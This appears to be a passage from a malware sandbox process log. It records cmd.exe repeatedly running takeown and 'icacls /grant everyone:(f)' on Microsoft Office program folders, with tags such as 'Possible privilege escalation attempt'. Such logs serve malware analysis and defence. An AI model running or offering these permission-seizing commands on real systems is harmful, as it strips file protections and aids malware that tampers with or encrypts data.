  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\eu && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\eu /grant everyone:(f)
  2⤵
  PID:3636
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\eu
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\fi && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\fi /grant everyone:(f)
  2⤵
  PID:2896
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\fi
    3⤵
    PID:4844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\fr && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\fr /grant everyone:(f)
  2⤵
  PID:1452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\fr
    3⤵
    - Modifies file permissions
    PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\gl && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\gl /grant everyone:(f)
  2⤵
  PID:8
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\gl
    3⤵
    PID:4036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\he && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\he /grant everyone:(f)
  2⤵
  PID:2328
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\he
    3⤵
    PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\hi && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\hi /grant everyone:(f)
  2⤵
  PID:4112
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\hi
    3⤵
    PID:4820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\hr && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\hr /grant everyone:(f)
  2⤵
  PID:2064
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\hr
    3⤵
    PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\hu && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\hu /grant everyone:(f)
  2⤵
  PID:736
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\hu
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\id && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\id /grant everyone:(f)
  2⤵
  PID:4268
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\id
    3⤵
    PID:3640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\it && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\it /grant everyone:(f)
  2⤵
  PID:4468
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\it
    3⤵
    PID:4060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ja && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\ja /grant everyone:(f)
  2⤵
  PID:2288
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ja
    3⤵
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\kk && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\kk /grant everyone:(f)
  2⤵
  PID:5112
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\kk
    3⤵
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ko && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\ko /grant everyone:(f)
  2⤵
  PID:2412
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ko
    3⤵
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\lt && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\lt /grant everyone:(f)
  2⤵
  PID:5016
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\lt
    3⤵
    PID:1044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\lv && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\lv /grant everyone:(f)
  2⤵
  PID:1956
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\lv
    3⤵
    PID:4780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ms && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\ms /grant everyone:(f)
  2⤵
  PID:4548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ms
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\nl && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\nl /grant everyone:(f)
  2⤵
  PID:3448
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\nl
    3⤵
    PID:1612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\no && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\no /grant everyone:(f)
  2⤵
  PID:5032
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\no
    3⤵
    PID:3644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\pl && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\pl /grant everyone:(f)
  2⤵
  PID:2304
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\pl
    3⤵
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\pt && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\pt /grant everyone:(f)
  2⤵
  PID:5100
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\pt
    3⤵
    PID:4396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\pt-BR && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\pt-BR /grant everyone:(f)
  2⤵
  PID:1228
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\pt-BR
    3⤵
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ro && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\ro /grant everyone:(f)
  2⤵
  PID:4508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ro
    3⤵
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ru && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\ru /grant everyone:(f)
  2⤵
  PID:2760
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\ru
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sk && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\sk /grant everyone:(f)
  2⤵
  PID:4452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sk
    3⤵
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sl && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\sl /grant everyone:(f)
  2⤵
  PID:540
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sl
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-BA && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-BA /grant everyone:(f)
  2⤵
  PID:2424
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-BA
    3⤵
    PID:4712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-RS && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-RS /grant everyone:(f)
  2⤵
  PID:3000
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Cyrl-RS
    3⤵
    PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Latn-RS && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Latn-RS /grant everyone:(f)
  2⤵
  PID:5024
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sr-Latn-RS
    3⤵
    PID:4248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sv && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\sv /grant everyone:(f)
  2⤵
  PID:4284
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\sv
    3⤵
    PID:2372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\th && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\th /grant everyone:(f)
  2⤵
  PID:3160
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\th
    3⤵
    PID:3240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\tr && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\tr /grant everyone:(f)
  2⤵
  PID:4268
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\tr
    3⤵
    PID:3604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\uk && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\uk /grant everyone:(f)
  2⤵
  PID:4440
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\uk
    3⤵
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\vi && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\vi /grant everyone:(f)
  2⤵
  PID:2408
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\vi
    3⤵
    PID:3896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\zh-CN && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\zh-CN /grant everyone:(f)
  2⤵
  PID:2768
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\zh-CN
    3⤵
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\zh-TW && icacls C:\Program Files\Microsoft Office\root\Office16\MSIPC\zh-TW /grant everyone:(f)
  2⤵
  PID:396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\MSIPC\zh-TW
    3⤵
    PID:444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers /grant everyone:(f)
  2⤵
  PID:2300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers
    3⤵
    PID:2888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift /grant everyone:(f)
  2⤵
  PID:3112
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift
    3⤵
    PID:4228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift\lib && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift\lib /grant everyone:(f)
  2⤵
  PID:4868
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift\lib
    3⤵
    PID:3528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift\lib\OpenSSL64.DllA && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift\lib\OpenSSL64.DllA /grant everyone:(f)
  2⤵
  PID:1120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Redshift\lib\OpenSSL64.DllA
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce /grant everyone:(f)
  2⤵
  PID:460
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce
    3⤵
    PID:3688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib /grant everyone:(f)
  2⤵
  PID:1844
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib
    3⤵
    PID:4348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033 && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033 /grant everyone:(f)
  2⤵
  PID:2932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033
    3⤵
    PID:3456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA /grant everyone:(f)
  2⤵
  PID:4384
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA
    3⤵
    PID:720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA\OpenSSL64.DllA && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA\OpenSSL64.DllA /grant everyone:(f)
  2⤵
  PID:2352
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl64.DllA\OpenSSL64.DllA
    3⤵
    PID:4900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\OpenSSL64.DllA && icacls C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\OpenSSL64.DllA /grant everyone:(f)
  2⤵
  PID:1716
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\OpenSSL64.DllA
    3⤵
    PID:64
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\OneNote && icacls C:\Program Files\Microsoft Office\root\Office16\OneNote /grant everyone:(f)
  2⤵
  PID:4812
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\OneNote
    3⤵
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\osfFPA && icacls C:\Program Files\Microsoft Office\root\Office16\osfFPA /grant everyone:(f)
  2⤵
  PID:5092
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\osfFPA
    3⤵
    PID:4564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\PAGESIZE && icacls C:\Program Files\Microsoft Office\root\Office16\PAGESIZE /grant everyone:(f)
  2⤵
  PID:3224
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\PAGESIZE
    3⤵
    PID:3000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\PersonaSpy && icacls C:\Program Files\Microsoft Office\root\Office16\PersonaSpy /grant everyone:(f)
  2⤵
  PID:1164
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\PersonaSpy
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\PROOF && icacls C:\Program Files\Microsoft Office\root\Office16\PROOF /grant everyone:(f)
  2⤵
  PID:3524
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\PROOF
    3⤵
    PID:4284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\QUERIES && icacls C:\Program Files\Microsoft Office\root\Office16\QUERIES /grant everyone:(f)
  2⤵
  PID:2372
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\QUERIES
    3⤵
    PID:3160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\SAMPLES && icacls C:\Program Files\Microsoft Office\root\Office16\SAMPLES /grant everyone:(f)
  2⤵
  PID:224
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\SAMPLES
    3⤵
    PID:5104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs /grant everyone:(f)
  2⤵
  PID:2788
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs
    3⤵
    PID:1516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018 && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018 /grant everyone:(f)
  2⤵
  PID:4760
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018
    3⤵
    PID:4232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview /grant everyone:(f)
  2⤵
  PID:3852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview
    3⤵
    PID:4480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib /grant everyone:(f)
  2⤵
  PID:2896
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib
    3⤵
    PID:3168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common /grant everyone:(f)
  2⤵
  PID:2120
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets /grant everyone:(f)
  2⤵
  PID:2888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000018\cardview\lib\native-common\assets
    3⤵
    PID:3112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027 && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027 /grant everyone:(f)
  2⤵
  PID:4228
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets /grant everyone:(f)
  2⤵
  PID:3528
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets
    3⤵
    PID:4136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons /grant everyone:(f)
  2⤵
  PID:4876
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042 && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042 /grant everyone:(f)
  2⤵
  PID:2992
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042
    3⤵
    PID:4764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets /grant everyone:(f)
  2⤵
  PID:3392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets
    3⤵
    PID:4652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets /grant everyone:(f)
  2⤵
  PID:5100
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets
    3⤵
    PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\images && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\images /grant everyone:(f)
  2⤵
  PID:2968
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\assets\assets\images
    3⤵
    PID:2312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049 && icacls C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049 /grant everyone:(f)
  2⤵
  PID:2332
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000049
    3⤵
    PID:3616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\SkypeSrv && icacls C:\Program Files\Microsoft Office\root\Office16\SkypeSrv /grant everyone:(f)
  2⤵
  PID:3200
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\SkypeSrv
    3⤵
    PID:4372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\STARTUP && icacls C:\Program Files\Microsoft Office\root\Office16\STARTUP /grant everyone:(f)
  2⤵
  PID:4460
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\STARTUP
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Office16\XLSTART && icacls C:\Program Files\Microsoft Office\root\Office16\XLSTART /grant everyone:(f)
  2⤵
  PID:4332
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Office16\XLSTART
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\rsod && icacls C:\Program Files\Microsoft Office\root\rsod /grant everyone:(f)
  2⤵
  PID:3692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\rsod
    3⤵
    - Possible privilege escalation attempt
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Templates && icacls C:\Program Files\Microsoft Office\root\Templates /grant everyone:(f)
  2⤵
  PID:3932
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Program Files\Microsoft Office\root\Templates
    3⤵
    PID:392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Program Files\Microsoft Office\root\Templates\1033 && icacls C:\Program Files\Microsoft Office\root\Templates\1033 /grant everyone:(f)
